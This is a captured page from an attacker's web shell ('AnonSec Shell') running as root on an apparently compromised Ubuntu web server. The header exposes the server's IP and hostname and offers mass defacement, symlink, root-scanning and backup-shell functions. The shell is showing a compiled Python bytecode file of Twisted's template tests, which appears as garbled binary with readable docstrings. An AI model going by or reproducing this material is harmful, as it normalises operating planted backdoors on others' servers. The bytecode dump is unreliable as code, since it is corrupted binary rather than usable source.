AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_template.cpython-310.pyc
o

�b�p�@s,dZddlmZddlmZmZddlmZddlm	Z	ddl
mZmZddl
mZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZmZmZddl m!Z!m"Z"ddl#m$Z$ddl%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.ddl/m0Z0ddl1m2Z2ee3dd�Z4Gdd�de�Z5Gdd�de�Z6Gdd�de�Z7Gdd�d�Z8Gdd�dee8�Z9Gd d!�d!ee8�Z:Gd"d#�d#ee8�Z;Gd$d%�d%ee8�Z<Gd&d'�d'e0�Z=Gd(d)�d)e0�Z>Gd*d+�d+e&�Z?Gd,d-�d-e&�Z@Gd.d/�d/e&�ZAGd0d1�d1�ZBee!�Gd2d3�d3e2��ZCGd4d5�d5e�ZDd6S)7z#
Tests for L{twisted.web.template}
�)�StringIO)�List�Optional)�implementer)�verifyObject)�Deferred�succeed)�globalLogPublisher)�Failure)�FilePath)�EventLoggingObserver)�TestCase)�suppress)�UnexposedMethodError)�FlattenerError�MissingRenderMethod�MissingTemplateLoader)�IRequest�ITemplateLoader)�NOT_DONE_YET)	�Element�Flattenable�Tag�	TagLoader�XMLFile�	XMLString�
renderElement�renderer�tags)�FlattenTestCase)�DummyRequest�hPassing filenames or file objects to XMLFile is deprecated since Twisted 12.1.  Pass a FilePath instead.)�category�messagec@sBeZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�ZdS)�TagFactoryTestszO
    Tests for L{_TagFactory} through the publicly-exposed L{tags} object.
    �returnNcC�tj}|�|jd�dS)z=
        HTML tags can be retrieved through C{tags}.
        �aN)rr'�assertEqual�tagName��self�tag�r-�@/usr/lib/python3/dist-packages/twisted/web/test/test_template.py�test_lookupTag4szTagFactoryTests.test_lookupTagcCr&)zj
        Twisted supports the latest and greatest HTML tags from the HTML5
        specification.
        �videoN)rr0r(r)r*r-r-r.�test_lookupHTML5Tag;sz#TagFactoryTests.test_lookupHTML5TagcCr&)z�
        To support transparent inclusion in templates, there is a special tag,
        the transparent tag, which has no name of its own but is accessed
        through the "transparent" attribute.
        �N)r�transparentr(r)r*r-r-r.�test_lookupTransparentTagCsz)TagFactoryTests.test_lookupTransparentTagcC�|�tttd�dS)zv
        Invalid tags which are not part of HTML cause AttributeErrors when
        accessed through C{tags}.
        �invalidN��assertRaises�AttributeError�getattrr�r+r-r-r.�test_lookupInvalidTagL�z%TagFactoryTests.test_lookupInvalidTagcCr5)z�
        As a special case, the <xmp> tag is simply not available through
        C{tags} or any other part of the templating machinery.
        �xmpNr7r;r-r-r.�test_lookupXMPSr=zTagFactoryTests.test_lookupXMP�r%N)	�__name__�
__module__�__qualname__�__doc__r/r1r4r<r?r-r-r-r.r$/s



	r$c@s`eZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	ddd�Z
ddd�ZdS)�ElementTestsz5
    Tests for the awesome new L{Element} class.
    r%NcCs(t�}|�t|jd�}|�|j|�dS)zr
        L{Element.render} raises L{MissingTemplateLoader} if the C{loader}
        attribute is L{None}.
        N)rr8r�render�assertIdentical�element�r+rH�errr-r-r.�test_missingTemplateLoader`sz'ElementTests.test_missingTemplateLoadercCs*Gdd�dt�}|�dtt|����dS)zT
        A L{MissingTemplateLoader} instance can be repr()'d without error.
        c@�eZdZdefdd�ZdS)zFElementTests.test_missingTemplateLoaderRepr.<locals>.PrettyReprElementr%cS�dS�N�Pretty Repr Elementr-r;r-r-r.�__repr__o�zOElementTests.test_missingTemplateLoaderRepr.<locals>.PrettyReprElement.__repr__N�rArBrC�strrPr-r-r-r.�PrettyReprElementn�rTrON)r�assertIn�reprr)r+rTr-r-r.�test_missingTemplateLoaderRepris�z+ElementTests.test_missingTemplateLoaderReprcCs6t�}|�t|jd�}|�|j|�|�|jd�dS)z�
        When called with the name which is not associated with a render method,
        L{Element.lookupRenderMethod} raises L{MissingRenderMethod}.
        �fooN)rr8r�lookupRenderMethodrGrHr(�
renderNamerIr-r-r.�test_missingRendererMethodvsz'ElementTests.test_missingRendererMethodcCs<Gdd�dt�}tt|�d��}|�d|�|�d|�dS)zR
        A L{MissingRenderMethod} instance can be repr()'d without error.
        c@rL)zDElementTests.test_missingRenderMethodRepr.<locals>.PrettyReprElementr%cSrMrNr-r;r-r-r.rP�rQzMElementTests.test_missingRenderMethodRepr.<locals>.PrettyReprElement.__repr__NrRr-r-r-r.rT�rUrT�expectedMethodrON)rrWrrV)r+rT�sr-r-r.�test_missingRenderMethodRepr�sz)ElementTests.test_missingRenderMethodReprcCs4Gdd�dt�}|��d�}|�|dtj�d�dS)z�
        When called with the name of a defined render method,
        L{Element.lookupRenderMethod} returns that render method.
        c@�*eZdZedeededefdd��ZdS)zBElementTests.test_definedRenderer.<locals>.ElementWithRenderMethod�requestr,r%cSrM)N�barr-�r+rar,r-r-r.rY��zFElementTests.test_definedRenderer.<locals>.ElementWithRenderMethod.fooN)	rArBrCrrrrrrYr-r-r-r.�ElementWithRenderMethod�� rerYNrb)rrZr(r�br)r+rerYr-r-r.�test_definedRenderer�sz!ElementTests.test_definedRenderercsHtt�Gdd�d���G�fdd�dt�}|�}|�|�d�dg�dS)zi
        L{Element.render} loads a document from the C{loader} attribute and
        returns it.
        c@seZdZdeefdd�ZdS)z0ElementTests.test_render.<locals>.TemplateLoaderr%cSsdgS)N�resultr-r;r-r-r.�load�sz5ElementTests.test_render.<locals>.TemplateLoader.loadN)rArBrCrrrjr-r-r-r.�TemplateLoader�srkcseZdZ��ZdS)z-ElementTests.test_render.<locals>.StubElementN)rArBrC�loaderr-�rkr-r.�StubElement�s
rnNri)rrrr(rF)r+rnrHr-rmr.�test_render�s
zElementTests.test_rendercCs |�tt�}|�t|�d�dS)z�
        If the L{renderer} decorator  is called without any arguments, it will
        raise a comprehensible exception.
        z,expose() takes at least 1 argument (0 given)N)r8�	TypeErrorrr(rS)r+�ter-r-r.�test_misuseRenderer�sz ElementTests.test_misuseRenderercCs|�ttjdd�dS)z�
        Called directly, without a default, L{renderer.get} raises
        L{UnexposedMethodError} when it cannot find a renderer.
        N�notARenderer)r8rr�getr;r-r-r.�test_renderGetDirectlyError�sz(ElementTests.test_renderGetDirectlyErrorr@)rArBrCrDrKrXr\r_rhrorrrur-r-r-r.rE[s

	





rEc@s>eZdZdZd
dd�Zd
dd�Zege_d
dd	�Zege_dS)�XMLFileReprTestszB
    Tests for L{twisted.web.template.XMLFile}'s C{__repr__}.
    r%NcC�(td�}|�d|�d�tt|���dS)zK
        An L{XMLFile} with a L{FilePath} returns a useful repr().
        �
/tmp/fake.xml�<XMLFile of �>N)rr(rWr)r+�pathr-r-r.�
test_filePath�� zXMLFileReprTests.test_filePathcCs$d}|�d|�d�tt|���dS)zH
        An L{XMLFile} with a filename returns a useful repr().
        rxryrzN)r(rWr)r+�fnamer-r-r.�
test_filename�s zXMLFileReprTests.test_filenamecCrw)zK
        An L{XMLFile} with a file object returns a useful repr().
        znot xmlryrzN)rr(rWr)r+�fobjr-r-r.�	test_file�r}zXMLFileReprTests.test_filer@)	rArBrCrDr|r�_xmlFileSuppressrr�r-r-r-r.rv�s


rvc@sHeZdZUeed<	dZ	defdd�Zddd�Zdd	d
�Z	e
ge	_dS)�XMLLoaderTestsMixin�
deprecatedUse�<p>Hello, world.</p>r%cCst��N)�NotImplementedErrorr;r-r-r.�
loaderFactory�rQz!XMLLoaderTestsMixin.loaderFactoryNcCs�t|t�sJ�|��}|��\}t|t�sJ�|j|jgd�}|jr?|�t|�d�|�|ddt	�|�|ddd�n|�t|�d�|�|j
d�|�|jdg�d	S)
zQ
        Verify that the loader returns a tag with the correct children.
        )�offendingFunctions�rr"r#r!�p�
Hello, world.N)�
isinstancer
r�rjr�
flushWarningsr�r(�len�DeprecationWarningr)�children)r+rlr,�warningsr-r-r.�	test_load�s

�zXMLLoaderTestsMixin.test_loadcCs6t|t�sJ�|��}|��}|��}|�||�dS)zd
        If {load()} can be called on a loader twice the result should be the
        same.
        N)r�r
r�rjr()r+rl�tags1�tags2r-r-r.�test_loadTwices
z"XMLLoaderTestsMixin.test_loadTwicer@)rArBrC�bool�__annotations__�templateStringrr�r�r�r�rr-r-r-r.r��s


r�c@�"eZdZdZdZdefdd�ZdS)�XMLStringLoaderTestsz5
    Tests for L{twisted.web.template.XMLString}
    Fr%cCs
t|j�S)zS
        @return: an L{XMLString} constructed with C{self.templateString}.
        )rr�r;r-r-r.r�s
z"XMLStringLoaderTests.loaderFactoryN�rArBrCrDr�rr�r-r-r-r.r��r�c@r�)�XMLFileWithFilePathTestszJ
    Tests for L{twisted.web.template.XMLFile}'s L{FilePath} support.
    Fr%cCs&t|���}|�|j�d��t|�S)z�
        @return: an L{XMLString} constructed with a L{FilePath} pointing to a
            file that contains C{self.templateString}.
        �utf8)r�mktemp�
setContentr��encoder�r+�fpr-r-r.r�&sz&XMLFileWithFilePathTests.loaderFactoryNr�r-r-r-r.r�r�r�c@r�)�XMLFileWithFileTestszU
    Tests for L{twisted.web.template.XMLFile}'s deprecated file object support.
    Tr%cCstt|j��S)z{
        @return: an L{XMLString} constructed with a file object that contains
            C{self.templateString}.
        )rrr�r;r-r-r.r�7sz"XMLFileWithFileTests.loaderFactoryNr�r-r-r-r.r�0r�r�c@r�)�XMLFileWithFilenameTestszR
    Tests for L{twisted.web.template.XMLFile}'s deprecated filename support.
    Tr%cCs(t|���}|�|j�d��t|j�S)z�
        @return: an L{XMLString} constructed with a filename that points to a
            file containing C{self.templateString}.
        r�)rr�r�r�r�rr{r�r-r-r.r�Fs
z&XMLFileWithFilenameTests.loaderFactoryNr�r-r-r-r.r�?r�r�c@s�eZdZdZd(dd�Zd(dd�Zd(dd	�Zd(d
d�Zd(dd
�Zd(dd�Z	d(dd�Z
d(dd�Zd(dd�Zd(dd�Z
d(dd�Zd(dd�Zd(dd�Zd(dd�Zd(d d!�Zd(d"d#�Zd(d$d%�Zd(d&d'�ZdS))�FlattenIntegrationTestsz[
    Tests for integration between L{Element} and
    L{twisted.web._flatten.flatten}.
    r%NcCs,gd�}|D]
}|�tt|�d�|�qdS)z�
        Given a series of parsable XML strings, verify that
        L{twisted.web._flatten.flatten} will flatten the L{Element} back to the
        input when sent on a round trip.
        )�<p>Hello, world.</p>s<p><!-- hello, world --></p>s <p><![CDATA[Hello, world.]]></p>sB<test1 xmlns:test2="urn:test2"><test2:test3></test2:test3></test1>s0<test1 xmlns="urn:test2"><test3></test3></test1>�
<p>☃</p>�rlN)�assertFlattensImmediatelyrr)r+�	fragments�xmlr-r-r.�test_roundTripVs�z&FlattenIntegrationTests.test_roundTripcC�ttd�d�}|�|d�dS)zx
        When flattening an HTML entity, it should flatten out to the utf-8
        representation if possible.
        z<p>&#9731;</p>r�r�N�rrr��r+rHr-r-r.�test_entityConversiongsz-FlattenIntegrationTests.test_entityConversioncCs|�t�t�dS)zk
        Rendering an Element without a loader attribute raises the appropriate
        exception.
        N)�assertFlatteningRaisesrrr;r-r-r.rKosz2FlattenIntegrationTests.test_missingTemplateLoadercCsttd�d�}|�|t�dS)z�
        Flattening an L{Element} with a C{loader} which has a tag with a render
        directive fails with L{FlattenerError} if there is no available render
        method to satisfy that directive.
        zy
        <p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"
          t:render="unknownMethod" />
        r�N)rrr�rr�r-r-r.�test_missingRenderMethodvs��z0FlattenIntegrationTests.test_missingRenderMethodcCr�)zw
        A C{transparent} element should be eliminated from the DOM and rendered as
        only its children.
        zk<t:transparent xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1">Hello, world.</t:transparent>r��
Hello, world.Nr�r�r-r-r.�test_transparentRendering�s��z1FlattenIntegrationTests.test_transparentRenderingcCr�)z~
        An Element with an attr tag renders the vaule of its attr tag as an
        attribute of its containing tag.
        z�<a xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"><t:attr name="href">http://example.com</t:attr>Hello, world.</a>r�s.<a href="http://example.com">Hello, world.</a>Nr�r�r-r-r.�test_attrRendering�s���z*FlattenIntegrationTests.test_attrRenderingcCs|�dd�td�D�d�dS)z�
        When rendering a large number of already-fired Deferreds we should not
        encounter any recursion errors or stack-depth issues.
        cSsg|]}td��qS)�x�r)�.0�ir-r-r.�
<listcomp>�szMFlattenIntegrationTests.test_synchronousDeferredRecursion.<locals>.<listcomp>�s�xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxN)r��ranger;r-r-r.�!test_synchronousDeferredRecursion�sz9FlattenIntegrationTests.test_synchronousDeferredRecursioncC�|�ttd�dS)z{
        A template with a toplevel C{attr} tag will not load; it will raise
        L{AssertionError} if you try.
        z�<t:attr
            xmlns:t='http://twistedmatrix.com/ns/twisted.web.template/0.1'
            name='something'
            >hello</t:attr>
            N�r8�AssertionErrorrr;r-r-r.�test_errorToplevelAttr��
�z.FlattenIntegrationTests.test_errorToplevelAttrcCr�)z�
        A template with an C{attr} tag with no C{name} attribute will not load;
        it will raise L{AssertionError} if you try.
        z{<html><t:attr
            xmlns:t='http://twistedmatrix.com/ns/twisted.web.template/0.1'
            >hello</t:attr></html>Nr�r;r-r-r.�test_errorUnnamedAttr�r�z-FlattenIntegrationTests.test_errorUnnamedAttrcCs(d}tt|�d�}|�||�d��dS)z�
        If the parser sees a prefix it doesn't recognize on an attribute, it
        will pass it on through to serialization.
        z}<hello:world hello:sample="testing" xmlns:hello="http://made-up.example.com/ns/not-real">This is a made-up tag.</hello:world>r�r�N)rr�assertFlattensTor�)r+�theInputrHr-r-r.�test_lenientPrefixBehavior�s�z2FlattenIntegrationTests.test_lenientPrefixBehaviorcC�.Gdd�dt�}|td�d�}|�|d�dS)zi
        An Element with a render method which returns a Deferred will render
        correctly.
        c@r`)zHFlattenIntegrationTests.test_deferredRendering.<locals>.RenderfulElementrar,r%cSstd�S�Nr�r�rcr-r-r.�renderMethod�szUFlattenIntegrationTests.test_deferredRendering.<locals>.RenderfulElement.renderMethodN�	rArBrCrrrrrr�r-r-r-r.�RenderfulElement�����r���
        <p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"
          t:render="renderMethod">
            Goodbye, world.
        </p>
        r�r�Nr��r+r�rHr-r-r.�test_deferredRendering����
z.FlattenIntegrationTests.test_deferredRenderingcCs"Gdd�dt�}|�|�d�dS)z�
        If there is a non-None loader attribute on the class of an Element
        instance but none on the instance itself, the class attribute is used.
        c@seZdZed�ZdS)zEFlattenIntegrationTests.test_loaderClassAttribute.<locals>.SubElementr�N)rArBrCrrlr-r-r-r.�
SubElement�sr�r�N)rr�)r+r�r-r-r.�test_loaderClassAttribute�sz1FlattenIntegrationTests.test_loaderClassAttributecs6g�G�fdd�dt�}|td�d�}|�|d�dS)z�
        An Element with a valid render directive has that directive invoked and
        the result added to the output.
        c�.eZdZedeededef�fdd��ZdS)zIFlattenIntegrationTests.test_directiveRendering.<locals>.RenderfulElementrar,r%cs��||f�|d�Sr�)�appendrc��rendersr-r.r�szVFlattenIntegrationTests.test_directiveRendering.<locals>.RenderfulElement.renderMethodNr�r-r�r-r.r�s���r��x
        <p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"
          t:render="renderMethod" />
        r�r�Nr�r�r-r�r.�test_directiveRendering�s��z/FlattenIntegrationTests.test_directiveRenderingcCr�)z�
        An Element with a render method which omits the containing tag
        successfully removes that tag from the output.
        c@r`)zTFlattenIntegrationTests.test_directiveRenderingOmittingTag.<locals>.RenderfulElementrar,r%cSrMr�r-rcr-r-r.r�szaFlattenIntegrationTests.test_directiveRenderingOmittingTag.<locals>.RenderfulElement.renderMethodNr�r-r-r-r.r�r�r�r�r�r�Nr�r�r-r-r.�"test_directiveRenderingOmittingTagr�z:FlattenIntegrationTests.test_directiveRenderingOmittingTagcCr�)�t
        An Element which is returned by the render method of another Element is
        rendered properly.
        c@r`)zUFlattenIntegrationTests.test_elementContainingStaticElement.<locals>.RenderfulElementrar,r%cSs|ttd�d��S)Nz<em>Hello, world.</em>r�)rrrcr-r-r.r�3szbFlattenIntegrationTests.test_elementContainingStaticElement.<locals>.RenderfulElement.renderMethodNr�r-r-r-r.r�2r�r�r�r�s<p><em>Hello, world.</em></p>Nr�r�r-r-r.�#test_elementContainingStaticElement,s��z;FlattenIntegrationTests.test_elementContainingStaticElementcCr�)r�c@r`)zHFlattenIntegrationTests.test_elementUsingSlots.<locals>.RenderfulElementrar,r%cSs|jdd�S)Nzworld.)�test2)�	fillSlotsrcr-r-r.r�J�zUFlattenIntegrationTests.test_elementUsingSlots.<locals>.RenderfulElement.renderMethodNr�r-r-r-r.r�Ir�r�z�<p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1" t:render="renderMethod"><t:slot name="test1" default="Hello, " /><t:slot name="test2" /></p>r�r�Nr�r�r-r-r.�test_elementUsingSlotsCs��	z.FlattenIntegrationTests.test_elementUsingSlotscsBG�fdd�dt�}Gdd�dt��|td�d�}|�|d�dS)	z�
        Directives in the document factory of an Element returned from a render
        method of another Element are satisfied from the correct object: the
        "inner" Element.
        cr�)zRFlattenIntegrationTests.test_elementContainingDynamicElement.<locals>.OuterElementrar,r%cs|�td�d��S)Nz�
                <t:ignored
                  xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"
                  t:render="innerMethod" />
                r�)rrc��InnerElementr-r.�outerMethodcs���z^FlattenIntegrationTests.test_elementContainingDynamicElement.<locals>.OuterElement.outerMethodN)	rArBrCrrrrrr�r-r�r-r.�OuterElementbs$r�c@r`)zRFlattenIntegrationTests.test_elementContainingDynamicElement.<locals>.InnerElementrar,r%cSrMr�r-rcr-r-r.�innerMethodrrdz^FlattenIntegrationTests.test_elementContainingDynamicElement.<locals>.InnerElement.innerMethodN)	rArBrCrrrrrr�r-r-r-r.r�qrfr�zw
        <p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"
          t:render="outerMethod" />
        r�r�Nr�)r+r�rHr-r�r.�$test_elementContainingDynamicElement[s��z<FlattenIntegrationTests.test_elementContainingDynamicElementcsRtd��G��fdd�dt����}��}|�|d�|�|d�|�|d�dS)z
        Rendering the output of a loader, or even the same element, should
        return different output each time.
        z�<p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1"><t:transparent t:render="classCounter" /> <t:transparent t:render="instanceCounter" /></p>csXeZdZdZdZ�Zedeede	de
f�fdd��Zedeede	de
fdd��Zd	S)
zHFlattenIntegrationTests.test_sameLoaderTwice.<locals>.DestructiveElementrrar,r%cs�jd7_|t�j��S�Nr�)�countrSrc)�DestructiveElementr-r.�classCounter��zUFlattenIntegrationTests.test_sameLoaderTwice.<locals>.DestructiveElement.classCountercSs|jd7_|t|j��Sr�)�
instanceCountrSrcr-r-r.�instanceCounter�r�zXFlattenIntegrationTests.test_sameLoaderTwice.<locals>.DestructiveElement.instanceCounterN)
rArBrCr�r�rlrrrrrr�r�r-�r��sharedLoaderr-r.r��s(������r�s
<p>1 1</p>s
<p>2 2</p>s
<p>3 1</p>N)rrr�)r+�e1�e2r-r�r.�test_sameLoaderTwice�s�z,FlattenIntegrationTests.test_sameLoaderTwicer@)rArBrCrDr�r�rKr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r-r-r-r.r�Ps(
















%r�c@s8eZdZdZddd�Zddd�Zddd	�Zdd
d�ZdS)
�TagLoaderTestsz!
    Tests for L{TagLoader}.
    r%NcCstt�d��|_dS)N�test)rrr�rlr;r-r-r.�setUp�szTagLoaderTests.setUpcCs|�tt|j��dS)zJ
        An instance of L{TagLoader} provides L{ITemplateLoader}.
        N)�
assertTruerrrlr;r-r-r.�test_interface��zTagLoaderTests.test_interfacecCs|�|j��t�dS)zK
        L{TagLoader.load} returns a list, per L{ITemplateLoader}.
        N)�assertIsInstancerlrj�listr;r-r-r.�test_loadsList�r�zTagLoaderTests.test_loadsListcCst|j�}|�|d�dS)z�
        L{TagLoader} can be used in an L{Element}, and flattens as the tag used
        to construct the L{TagLoader} would flatten.
        s<i>test</i>N)rrlr�)r+�er-r-r.�test_flatten�s
zTagLoaderTests.test_flattenr@)rArBrCrDr�r�r�r�r-r-r-r.r��s


r�c@seZdZdZed�ZdS)�TestElementz:
    An L{Element} that can be rendered successfully.
    zS<p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1">Hello, world.</p>N)rArBrCrDrrlr-r-r-r.r��s
�r�c@s,eZdZdZed�Zddedefdd�ZdS)	�TestFailureElementz�
    An L{Element} that can be used in place of L{FailureElement} to verify
    that L{renderElement} can render failures properly.
    zO<p xmlns:t="http://twistedmatrix.com/ns/twisted.web.template/0.1">I failed.</p>N�failurerlcCs
||_dSr�)r)r+rrlr-r-r.�__init__�s
zTestFailureElement.__init__r�)	rArBrCrDrrlr
�objectrr-r-r-r.r�s�rc@s&eZdZdZdeeddfdd�ZdS)�FailingElementz<
    An element that raises an exception when rendered.
    rar%rcCsd}d}||�S)N�*rr-)r+rar'�br-r-r.rF�s
zFailingElement.renderN)rArBrCrDrrrFr-r-r-r.r�src@seZdZdZdZdS)�FakeSitezL
    A minimal L{Site} object that we can use to test displayTracebacks
    FN)rArBrCrD�displayTracebacksr-r-r-r.r�srcs"eZdZdZd�fdd�Z�ZS)�DummyRenderRequestz�
    A dummy request object that has a C{site} attribute.

    This does not implement the full IRequest interface, but enough of it
    for this test suite.
    r%Ncst��dg�t�|_dS)Nr2)�superrr�siter;��	__class__r-r.r�szDummyRenderRequest.__init__r@)rArBrCrDr�
__classcell__r-r-rr.r	�sr	c@steZdZdZddd�Zdedfdd�Zdedfdd	�Zdedfd
d�Zdedfdd
�Z	dedfdd�Z
dS)�RenderElementTestsz
    Test L{renderElement}
    r%NcCst�|_dS)z8
        Set up a common L{DummyRenderRequest}.
        N)r	rar;r-r-r.r�r�zRenderElementTests.setUpc�Ht�}�j��}dtddf�fdd�}|�|���tt�j|��|S)z�
        L{renderElement} returns NOT_DONE_YET and eventually
        writes the rendered L{Element} to the request before finishing the
        request.
        �_r%Ncs(��d��jj�d����jj�dS)N�s$<!DOCTYPE html>
<p>Hello, world.</p>)r(�joinra�writtenr��finished�rr;r-r.�checks
�z3RenderElementTests.test_simpleRender.<locals>.check)r�ra�notifyFinishr�addCallbackrGrr�r+rH�drr-r;r.�test_simpleRenders

z$RenderElementTests.test_simpleRendercr)z
        L{renderElement} handles failures by writing a minimal
        error message to the request and finishing it.
        rr%NcsB��t�}��t|�d���d��jj�d����jj�dS)Nr�rs�<!DOCTYPE html>
<div style="font-size:800%;background-color:#FFF;color:#F00">An error occurred while rendering the response.</div>)	�flushLoggedErrorsrr(r�rrarr�r)r�flushedr;r-r.r+s
�
z4RenderElementTests.test_simpleFailure.<locals>.check)rrarrrrGrrrr-r;r.�test_simpleFailure"s

z%RenderElementTests.test_simpleFailurecs\t��t��d�jj_t�}�j��}dtddf��fdd�}|�	|�t
�j|td�|S)z�
        L{renderElement} will render a traceback when rendering of
        the element fails and our site is configured to display tracebacks.
        Trr%Ncsl��dt����dd}��|jt���t�}��t|�d���d��jj	�d���
�jj�dS)Nr�r�log_failurers <!DOCTYPE html>
<p>I failed.</p>)�assertEqualsr�r��valuerrr(rrarr�r)r�fr��logObserverr+r-r.rLs
�zARenderElementTests.test_simpleFailureWithTraceback.<locals>.check)�_failElement)r�createWithCleanupr	rarrrrrrrrrr-r$r.�test_simpleFailureWithTraceback@s


z2RenderElementTests.test_simpleFailureWithTracebackcsDt�}�j��}dtddf�fdd�}|�|�t�j|dd�|S)zs
        L{renderElement} will write the doctype string specified by the
        doctype keyword argument.
        rr%Nc���d��jj�d�dS)Nrs�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<p>Hello, world.</p>�r(rrarrr;r-r.rfs�z8RenderElementTests.test_nonDefaultDoctype.<locals>.checksm<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">��doctype�r�rarrrrrr-r;r.�test_nonDefaultDoctype]s


�	z)RenderElementTests.test_nonDefaultDoctypecsDt�}�j��}dtddf�fdd�}|�|�t�j|dd�|S)zs
        L{renderElement} will not write out a doctype if the doctype keyword
        argument is L{None}.
        rr%Ncr))Nrr�r*rr;r-r.r�sz2RenderElementTests.test_noneDoctype.<locals>.checkr+r-rr-r;r.�test_noneDoctype}s

z#RenderElementTests.test_noneDoctyper@)rArBrCrDr�rrrr(r.r/r-r-r-r.rs
 rN)ErD�ior�typingrr�zope.interfacer�zope.interface.verifyr�twisted.internet.deferrr�twisted.loggerr	�twisted.python.failurer
�twisted.python.filepathr�twisted.test.proto_helpersr�twisted.trial.unittestr
�twisted.trial.utilr�SUPPRESS�twisted.web._elementr�twisted.web.errorrrr�twisted.web.iwebrr�twisted.web.serverr�twisted.web.templaterrrrrrrrr�twisted.web.test._utilr�twisted.web.test.test_webr r�r�r$rErvr�r�r�r�r�r�r�r�rrrr	rr-r-r-r.�<module>sT,�,a6X

Anon7 - 2022
AnonSec Team